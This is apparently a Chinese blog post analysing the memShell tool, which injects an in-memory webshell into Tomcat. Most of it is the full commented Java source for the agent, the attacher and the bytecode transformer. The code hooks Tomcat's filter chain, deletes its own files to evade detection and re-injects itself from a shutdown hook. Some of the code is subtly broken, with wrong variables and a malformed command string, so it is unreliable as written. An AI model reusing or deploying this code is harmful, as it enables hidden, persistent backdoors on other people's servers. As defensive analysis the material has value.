tomcat进程注入

跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下
在这里插入图片描述
然后输入命令注入
效果:
在这里插入图片描述
注入成功后
在这里插入图片描述
可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用

那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:

package net.rebeyond.memshell;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;public class Agent {public static String currentPath;public static String password = "qiezi";public static String className = "org.apache.catalina.core.ApplicationFilterChain";public static byte[] injectFileBytes = new byte[]{},agentFileBytes = new byte[]{};public static void agentmain(String agentArgs, Instrumentation inst){inst.addTransformer(new Transformer(),true);if (agentArgs.indexOf("^") >=0){     //字符串的开始位置找元素^找不到是-1.找到进入判断Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素Agent.password = agentArgs.split("\\^")[1];  //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素}else {Agent.currentPath = agentArgs;}System.out.println("Agent Main Done");Class[] loadedClasses = inst.getAllLoadedClasses();  //获得Instrumentation中的所有类for (Class c : loadedClasses){  //遍历if (c.getName().equals(className)){  //当等于"org.apache.catalina.core.ApplicationFilterChain"时进入iftry{inst.retransformClasses(c);  //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载}catch (Exception e){e.printStackTrace();}}}try {initLoad();   //初始化readInjectFile(Agent.currentPath);   //读取inject文件readAgentFile(Agent.currentPath);    //读取agent文件clear(Agent.currentPath);  //清除文件}catch (Exception e){}Agent.persist();   //持久化}//linux?public static void clear(String currentPath) throws Exception{   //清除Thread clearThread = new Thread(){   //创建清除线程String currentPath = Agent.currentPath;  //当前路径public void run(){try {Thread.sleep(5000);   //线程等待String injectFile = currentPath + "inject.jar";   //inject文件路径String agentFile = currentPath + "agent.jar";     //agent文件路径new File(injectFile).getCanonicalFile().delete();  //删除injectFiile文件String OS = System.getProperty("os.name").toLowerCase();  //操作系统名if (OS.indexOf("windows") >= 0){try{unlockFile(currentPath);  //windows采取foreceDelete.exe强制清除}catch (Exception e){//pass}}new File(agentFile).delete();   //删除agentFile文件} catch (InterruptedException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);}}};clearThread.start();   //开启清除线程}public static void unlockFile(String currentPath) throws Exception{String exePath = currentPath + "foreceDelete.exe";   //文件路径InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe");  //获取资源输入流FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath());  //标准文件输出流byte[] bytes = new byte[1024*100];int num =0;while ((num = is.read(bytes)) != -1){   //遍历fos.write(bytes,0,num);fos.flush();}fos.close();is.close();Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid());   //路径 pidtry{process.waitFor();   //线程等待}catch (Exception e){e.printStackTrace();}new File(exePath).delete();    //文件删除}public static String getCurrentPid(){   //获得当前进程pidRuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();return runtimeMXBean.getName().split("@")[0];}public static void initLoad() throws Exception{MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();  //创建MBeanServerSet<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), Query.match(Query.attr("protocol"),Query.value("HTTP/1.1")));  //查询String host = InetAddress.getLocalHost().getHostAddress(); //根据本机名去/etc/hosts中获取对应ip,一般127.0.0.1String port = objectNames.iterator().next().getKeyProperty("port");  //获取端口String url = "http" + "://" + host + ":" + port;  //获取urlString[] models = new String[] {"model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.","model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" };  //模板for (String model : models){  //遍历String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;openUrl(address);}}public static void readInjectFile(String filePath) throws Exception{String fileName = "inject.jar";    //定义文件名File f = new File(filePath + File.separator + fileName);   //创建File类对象,并执行路径if (!f.exists()){f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);  //文件不存在会在操作系统缓存临时目录进行创建}InputStream is = new FileInputStream(f);   //文件输入流byte[] bytes = new byte[1024*100];  //设置数组大小int num = 0;while ((num = is.read(bytes)) != -1){    //一行行读取然后赋值给num,值存在时候进入判断agentFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes,0,num)); //Arrays.copyOfRange(bytes,0,num) 第一个参数为要拷贝的数组,第二个参数为拷贝的开始位置(包含),第三个参数为拷贝的结束位置(不包含)}is.close();}static byte[] mergeByteArray(byte[]... byteArray){int totalLength = 0;    //定义整体长度for (int i = 0;i < byteArray.length;i++){       //遍历if (byteArray[i] == null){   //为空时候继续continue;}totalLength += byteArray[i].length;  //每个值长度相加,为总长度totalLength}byte[] result = new byte[totalLength];    //新建大小为totalLength的数组int cur = 0;for (int i = 0; i < byteArray.length;i++){if (byteArray[i] == null){continue;}System.arraycopy(byteArray[i],0,result,cur,byteArray[i].length);//数组之间的复制  arraycopy(Object src, int srcPos, Object dest, int destPos, int length)//src:源数组  srcPos:源数组要复制的起始位置 dest:目的数组 destPos:目的数组放置的起始位置 length:复制的长度cur += byteArray[i].length;}return result;   //返回复制后的数组}public static void openUrl(String address) throws Exception{URL url = new URL(address);HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); //获取连接对象,并无创建连接urlcon.connect(); //建立连接InputStream is = urlcon.getInputStream();  //获取输入流BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); //字符流读取StringBuffer bs = new StringBuffer();  //创建一个 StringBuffer 对象String l = null;while ((l=buffer.readLine())!=null){  //buffer.readLine()每次读取一行数据bs.append(l).append("/n");  //不为null时,加入}}public static void persist(){try {Thread t = new Thread(){public void run(){try {writeFiles("inject.jar", Agent.injectFileBytes);writeFiles("agent.jar",Agent.agentFileBytes);startInject();} catch (Exception e) {throw new RuntimeException(e);}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);//这个方法是在jvm时候增加一个关闭的钩子,当jvm关闭的时候,会执行系统中已经设置的所以通过方法addshutdownhook添加的钩子,当系统执行完这些钩子后,jvm才会关闭}catch (Exception e){}}public static void startInject() throws Exception{Thread.sleep(2000);String tempFolder = System.getProperty("java.io.tmpdir");  //获取操作系统缓存临时目录String cmd = "java -jar" + tempFolder + File.separator + "inject.jar" + Agent.password;  //File.separator相当于'/'Runtime.getRuntime().exec(cmd);}public static void writeFiles(String fileName,byte[] data) throws Exception{String tempFolder = System.getProperty("java.io.tmpdir");  //获取系统缓存临时目录FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); //文件输出流fso.write(data);fso.close();}public static void main(String[] args) {try{readAgentFile("e:/");String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();  //Attach类的绝对路径String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0,tempPath.lastIndexOf("/"));}catch (Exception e){e.printStackTrace();}}public static void readAgentFile(String filePath) throws Exception{String fileName = "agent.jar";   //定义文件名File f = new File(filePath + File.separator + fileName);   //创建File类对象,指定路径if (!f.exists()){f = new File(System.getProperty("java.io.tmpdir")+File.separator+fileName);   //文件不存在会在操作系统缓存临时目录进行创建}InputStream is = new FileInputStream(f);byte[] bytes = new byte[1024 * 100];int num = 0;while ((num = is.read(bytes)) != -1){agentFileBytes = mergeByteArray(agentFileBytes,Arrays.copyOfRange(bytes,0,num));   //复制数组}is.close();}}

Attach.java

package net.rebeyond.memshell;import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;import java.io.File;
import java.io.IOException;
import java.util.List;public class Attach {public static void main(String[] args) throws IOException {if (args.length!=1){System.out.println("Usage:java -jar inject.jar password"); //当长度未达到1时候,说明没有输入password,提示return;}VirtualMachine vm = null;   //定义虚拟机vmList<VirtualMachineDescriptor> listAfter = null;  //一个描述虚拟机的容器类,配合VirtualMachine类完成各种功能List<VirtualMachineDescriptor> listBefore = null;listBefore = VirtualMachine.list();String password = args[0];    //和刚开始说的一样,args的第一位是passwordString currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();  //执行.class文件,得到当前class的绝对路径,若是jar包就是得到jar的绝对路径currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1); //返回获得路径  lastIndexOf("/")+1取得是/最后一次出现的后一位,也就是String agentFile = currentPath + "agent.jar"; //总路径agentFile = new File(agentFile).getCanonicalPath();  //getCanonicalPath()规范路径String agentArgs = currentPath;if (!password.equals("")||password!=null){agentArgs = agentArgs + "^" + password;}while (true){try{listAfter = VirtualMachine.list();if (listAfter.size() <= 0){continue;}for (VirtualMachineDescriptor vmd : listAfter){    //遍历if (!listBefore.contains(vmd)){   //如果 VM 有增加,我们就认为是被监控的 VM 启动了VirtualMachine.attach(vmd);  //附加listBefore.add(vmd);  //添加System.out.println("[+]OK.i find a jvm.");Thread.sleep(1000);if (null != vm){vm.loadAgent(agentFile,agentArgs);  //Attach API 远程加载System.out.println("[+]memeShell is injected.");vm.detach();  //jvm上删除一个代理return;}}}Thread.sleep(5000);}catch (Exception e){e.printStackTrace();}}}
}

Transformer.java:

package net.rebeyond.memshell;import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class Transformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)){try{Class a = Class.forName("javassist.CtClass"); //javassist是一个能处理Java字节码的类库,使用Javassist.CtClass来表示一个class文件,所以说CtClass类就是用来处理class文件的ClassPool cp = ClassPool.getDefault();  //ClassPool是CtClass对象的容器CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); //获得ApplicationFilterChain类CtMethod m = cc.getDeclaredMethod("internalDoFilter"); //获得方法m.addLocalVariable("elapsedTime",CtClass.longType); //定义属性,一个long类型的属性,名为elapsedTimem.insertBefore(readSource());  //通过insertBefore插入到方法内容的开始处byte[] byteCode = cc.toBytecode();  //转成字节类文件cc.detach();  //jvm上删除一个代理return byteCode;  //返回字节}catch (Exception e){System.out.println("error:"+e.getMessage());}}return null;}public String readSource(){StringBuilder source = new StringBuilder();  //创建空对象sourceInputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");   //类加载器从当前路径下的source.txt中加载资源InputStreamReader isr = new InputStreamReader(is);  //文件字节输入流,获取配置文件中内容String line = null;BufferedReader br = new BufferedReader(isr);  //文件缓存输入流try{while ((line=br.readLine()) != null){  //遍历添加source.append(line);   //将读出来的数据添加}}catch (Exception e){e.printStackTrace();}return source.toString();   //返回值}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/7694.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot使用mybatis批量新增500万数据到mysql数据库Demo

SpringBoot使用mybatis批量新增500万数据到mysql数据库Demo 说明项目Demo代码地址项目目录mysql对应表建表语句pom.xmlapplication.yml配置类启动类代码OrderInfo 实体类TestController控制层接口层TestServiceTestServiceImpl实现层TestDao数据接口层dao层对应mapper.xml自定义…

leetcode 226. 翻转二叉树

2023.7.1 这题依旧可以用层序遍历的思路来做。 在层序遍历的代码上将所有节点的左右节点进行互换即可实现二叉树的反转。 下面上代码&#xff1a; class Solution { public:TreeNode* invertTree(TreeNode* root) {queue<TreeNode*> que;if(root nullptr) return{};que…

【Linux】LVS负载均衡群集 DR模式

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 LVS负载均衡群集 DR模式 数据包流向分析DR 模式的特点LVS-DR中的ARP问题VIP地址相同导致响应冲突返回报文时源地址使用VIP&#xff0c;导致网关设备的ARP缓存表紊乱 DR模式 L…

VUE3笔记

项目结构 模板语法&#xff08;在标签之外&#xff09; 插值语法 &#xff1a;双大括号 属性绑定&#xff08;在标签之内&#xff09; v-bind: 单属性两种写法 多属性绑定 条件渲染 列表渲染 要有key&#xff0c;降低消耗 遍历数组 遍历对象 事件处理 传递参数 事件修…

gerrit 遇到的问题汇总

更新远程代码 git pull --rebase 回退到指定版本 get reset --hard commitid 修改之前的提交 git commit --amend 问题一 本地提交了两个记录到远程&#xff0c;远程还没有合并&#xff0c;本地使用 git reset --soft HEAD~1 回退到了上一个提交&#xff0c;现在需要将本地…

微信小程序全局数据共享

1.概念 全局数据共享(又叫做&#xff1a;状态管理)是为了解决组件之间数据共享的问题。 2.小程序中共享方案 在小程序中&#xff0c;可使用mobx-miniprogram配合mobx-miniprogram-bindings实现全局数据共享mobx-miniprogram用来创建Store实例对象 mobx-miniprogram-bindings…

浅谈Unicode与UTF-8

我们都知道&#xff0c;在Golang中字符都是以UTF-8编码的形式存储&#xff0c;当我们使用range遍历字符串的时候&#xff0c;go会为我们取出一个字符(rune)而不是一个byte&#xff0c;例如以下例子&#xff0c;我们使用range迭代取出第一个字符“你”&#xff0c;并且打印输出取…

让你不再好奇音频转换格式软件免费有哪些

小美&#xff1a;你好&#xff0c;最近我需要将一些音频文件转换成其他格式&#xff0c;但是不知道常用的音频转换工具有哪些&#xff0c;你有什么建议吗&#xff1f; 李明&#xff1a;当然&#xff0c;有很多音频转换工具可以选择。建议你关注下这篇文章&#xff0c;我将通过…

【动手学习深度学习--逐行代码解析合集】06多层感知机的从零开始实现

【动手学习深度学习】逐行代码解析合集 06多层感知机的从零开始实现 视频链接&#xff1a;动手学习深度学习–softmax回归简洁实现 课程主页&#xff1a;https://courses.d2l.ai/zh-v2/ 教材&#xff1a;https://zh-v2.d2l.ai/ 1、多层感知机 2、从线性到非线性 3、激活函数 R…

ChatGPT应用工具推荐

ChatGPT作为一种先进的自然生成技术&#xff0c;已经在各个领域展现出了其强大的应用能力&#xff0c;下面将给大家介绍一些ChatGPT的功能应用。 简介 此系统是基于likeadmin—PHP开发的智能对话系统&#xff0c;ChatGPT是一种基于人工智能技术的聊天机器人&#xff0c;它可以…

亚马逊云科技推出Amazon AppFabric,SaaS安全不断加码

亚马逊云科技近日宣布推出Amazon AppFabric来增强公司在软件即服务&#xff08;SaaS&#xff09;应用程序方面的现有投入。Amazon AppFabric是一项无代码服务&#xff0c;可以为客户提高安全性&#xff0c;管理水平和生产力。只需在亚马逊云科技管理控制台上点击几下&#xff0…

机器学习之深度神经网络

目录 卷积神经网络与全连接神经网络 前向后向传播推导 通用手写体识别模型 人脸识别模型 电影评论情感分析模型 卷积神经网络与全连接神经网络 卷积神经网络&#xff08;Convolutional Neural Network&#xff0c;CNN&#xff09;和全连接神经网络&#xff08;Fully Conn…